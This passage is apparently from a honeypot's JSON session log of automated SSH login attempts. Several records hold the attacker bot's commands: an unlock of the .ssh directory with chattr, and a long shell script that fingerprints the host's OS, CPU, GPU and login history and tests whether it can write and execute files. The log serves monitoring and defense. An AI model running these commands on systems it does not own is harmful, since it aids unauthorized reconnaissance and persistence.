  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:20.941435+00:00",
  "ended_at": "2026-08-25T20:04:21.473678+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "57142e28-7bd3-4316-ab21-6a8291ba6680",
  "name": "courtly-windswept-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.107",
  "src_port": 28264,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:44:37.061861+00:00",
  "ended_at": "2026-08-25T19:44:37.568176+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4eae2951-9379-496a-84e6-5d367d1d6d7b",
  "name": "dapper-seaward-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "31.57.216.7",
  "src_port": 45922,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:31:10.267706+00:00",
  "ended_at": "2026-08-25T19:31:11.886842+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eea19bc4-8c23-4bfb-961f-5082d06678f7",
  "name": "sandy-merry-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36108,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:28:11.354257+00:00",
  "ended_at": "2026-08-25T19:28:21.063397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eff0f88b-4fa8-47f9-89a5-090dbb6ecb67",
  "name": "gilded-sunlit-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 52188,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:14:51.394235+00:00",
  "ended_at": "2026-08-25T19:14:51.542002+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "aeba7ade-faee-4071-9f61-706d5b502b0a",
  "name": "spirited-nameless-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 49228,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:13:25.059140+00:00",
  "ended_at": "2026-08-25T19:13:25.157583+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ac973fe7-49c5-4571-9cd2-571d5342cfcf",
  "name": "upland-eager-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 46272,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:11:49.620136+00:00",
  "ended_at": "2026-08-25T19:11:49.726295+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9b37a7fe-75d1-447f-89de-5e801e6c5077",
  "name": "ashen-keen-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 43290,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:10:15.346168+00:00",
  "ended_at": "2026-08-25T19:10:15.517273+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "103ea184-ce16-4805-ac61-22bfaa3fcdc8",
  "name": "austere-umber-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 40300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:08:38.771992+00:00",
  "ended_at": "2026-08-25T19:08:38.899328+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "82df36e9-4bf3-4655-9d61-b092c9695bae",
  "name": "humble-supple-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 37354,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho 